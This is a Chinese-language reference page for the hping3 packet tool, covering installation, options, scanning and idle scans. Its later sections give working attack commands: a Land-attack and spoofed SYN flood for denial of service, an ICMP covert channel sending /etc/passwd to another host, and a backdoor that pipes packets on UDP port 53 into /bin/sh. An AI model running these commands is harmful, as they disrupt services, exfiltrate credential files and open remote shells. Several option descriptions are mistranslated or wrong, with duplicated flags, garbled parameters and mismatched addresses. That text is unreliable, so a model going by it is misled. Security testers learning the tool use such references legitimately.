hping3

測試網絡及主機的安全

補充說明

hping 是用於生成和解析TCPIP協議數據包的開源工具。創作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl腳本自動化地調用其API。hping是安全審計、防火牆測試等工作的標配工具。hping優勢在於能夠定製數據包的各個部分,因此用戶可以靈活對目標機進行細緻地探測。

安裝

1yum install libpcap-devel tc-devel
2ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
3wget http://www.hping.org/hping3-20051105.tar.gz
4tar zxvf hping3-20051105.tar.gz
5cd hping3-20051105
6./configure
7make
8make install

選項

 1-H --help 顯示幫助。
 2-v -VERSION 版本信息。
 3-c --count count 發送數據包的次數 關於countreached_timeout 可以在hping2.h裏編輯。
 4-i --interval 包發送間隔時間(單位是毫秒)缺省時間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時此功能也會被用到,你可以參考hping-howto獲得更多信息-fast 每秒發10個數據包。
 5-n -nmeric 數字輸出,象徵性輸出主機地址。
 6-q -quiet 退出。
 7-I --interface interface name 無非就是eth0之類的參數。
 8-v --verbose 顯示很多信息,TCP回應一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
 9-D --debug 進入debug模式當你遇到麻煩時,比如用HPING遇到一些不合你習慣的時候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
10-z --bind 快捷鍵的使用。
11-Z --unbind 消除快捷鍵。
12-O --rawip RAWIP模式,在此模式下HPING會發送帶數據的IP頭。
13-1 --icmp ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。
14-2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。
15-9 --listen signatuer hping的listen模式,用此模式,HPING會接收指定的數據。
16-a --spoof hostname 僞造IP攻擊,防火牆就不會記錄你的真實IP了,當然回應的包你也接收不到了。
17-t --ttl time to live 可以指定發出包的TTL值。
18-H --ipproto 在RAW IP模式裏選擇IP協議。
19-w --WINID UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。
20-r --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
21-F --FRAG 更改包的FRAG,這可以測試對方對於包碎片的處理能力,缺省的“virtual mtu”是16字節。
22-x --morefrag 此功能可以發送碎片使主機忙於恢復碎片而造成主機的拒絕服務。
23-y -dontfrag 發送不可恢復的IP碎片,這可以讓你瞭解更多的MTU PATH DISCOVERY。
24-G --fragoff fragment offset value set the fragment offset
25-m --mtu mtu value 用此項後ID數值變得很大,50000沒指定此項時3000-20000左右。
26-G --rroute 記錄路由,可以看到詳悉的數據等等,最多可以經過9個路由,即使主機屏蔽了ICMP報文。
27-C --ICMPTYPE type 指定ICMP類型,缺省是ICMP echo REQUEST。
28-K --ICMPCODE CODE 指定ICMP代號,缺省0。
29--icmp-ipver 把IP版本也插入IP頭。
30--icmp-iphlen 設置IP頭的長度,缺省爲5(32字節)。
31--icmp-iplen 設置IP包長度。
32--icmp-ipid 設置ICMP報文IP頭的ID,缺省是RANDOM。
33--icmp-ipproto 設置協議的,缺省是TCP。
34-icmp-cksum 設置校驗和。
35-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
36--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
37-s --baseport source port hping 用源端口猜測回應的包,它從一個基本端口計數,每收一個包,端口也加1,這規則你可以自己定義。
38-p --deskport [+][+]desk port 設置目標端口,缺省爲0,一個加號設置爲:每發送一個請求包到達後,端口加1,兩個加號爲:每發一個包,端口數加1。
39--keep 上面說過了。
40-w --win 發的大小和windows一樣大,64BYTE。
41-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
42-m --tcpseq 設置TCP序列數。
43-l --tcpck 設置TCP ack。
44-Q --seqnum 蒐集序列號的,這對於你分析TCP序列號有很大作用。

Hping3功能

Hping3主要有以下典型功能應用:

#  防火牆測試

使用Hping3指定各種數據包字段,依次對防火牆進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html

測試防火牆對ICMP包的反應、是否支持traceroute、是否開放某個端口、對防火牆進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火牆(Land Attack是將發送源地址設置爲與目標地址相同,誘使目標機與自己不停地建立連接)。

1hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

# 端口掃描

Hping3也可以對目標端口進行掃描。Hping3支持指定TCP各個標誌位、長度等信息。以下示例可用於探測目標機的80端口是否開放:

1hping3 -I eth0  -S 192.168.10.1 -p 80

其中-I eth0指定使用eth0端口,-S指定TCP包的標誌位SYN,-p 80指定探測的目的端口。

hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因爲Hping3僅發送與接收包,不會維護連接,所以不支持connect方式探測)。而且Hping3能夠對發送的探測進行更加精細的控制,方便用戶微調探測結果。當然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量端口進行掃描。

# Idle掃描

Idle掃描(Idle Scanning)是一種匿名掃描遠程主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。

該掃描原理是:尋找一臺idle主機(該主機沒有任何的網絡流量,並且IPID是逐個增長的),攻擊端主機先向idle主機發送探測包,從回覆包中獲取其IPID。冒充idle主機的IP地址向遠程主機的端口發送SYN包(此處假設爲SYN包),此時如果遠程主機的目的端口開放,那麼會回覆SYN/ACK,此時idle主機收到SYN/ACK後回覆RST包。然後攻擊端主機再向idle主機發送探測包,獲取其IPID。那麼對比兩次的IPID值,我們就可以判斷遠程主機是否回覆了數據包,從而間接地推測其端口狀態。

# 拒絕服務攻擊

使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連接,僞造源地址爲192.168.10.99,並使用1000微秒的間隔發送各個SYN包。

1hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻擊如smurf、teardrop、land attack等也很容易構建出來。

# 文件傳輸

Hping3支持通過TCP/UDP/ICMP等包來進行文件傳輸。相當於藉助TCP/UDP/ICMP包建立隱祕隧道通訊。實現方式是開啓監聽端口,對檢測到的簽名(簽名爲用戶指定的字符串)的內容進行相應的解析。在接收端開啓服務:

1hping3 192.168.1.159--listen signature --safe  --icmp

監聽ICMP包中的簽名,根據簽名解析出文件內容。

在發送端使用簽名打包的ICMP包發送文件:

1hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機。發送包大小爲100字節(-d 100),發送簽名爲signature(-sign signature)。

# 木馬功能

如果Hping3能夠在遠程主機上啓動,那麼可以作爲木馬程序啓動監聽端口,並在建立連接後打開shell通信。與netcat的後門功能類似。

示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名爲signature的數據包,並將收到的數據調用/bin/sh執行。

在木馬啓動端:

1hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh

在遠程控制端:

1echo ls >test.cmd
2hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度爲100字節。

當然這裏只是簡單的演示程序,真實的場景,控制端可以利益shell執行很多的高級複雜的操作。

來源:https://github.com/jaywcjlove/linux-command

最後修改於: Wednesday, January 31, 2024

相關文章:

翻譯: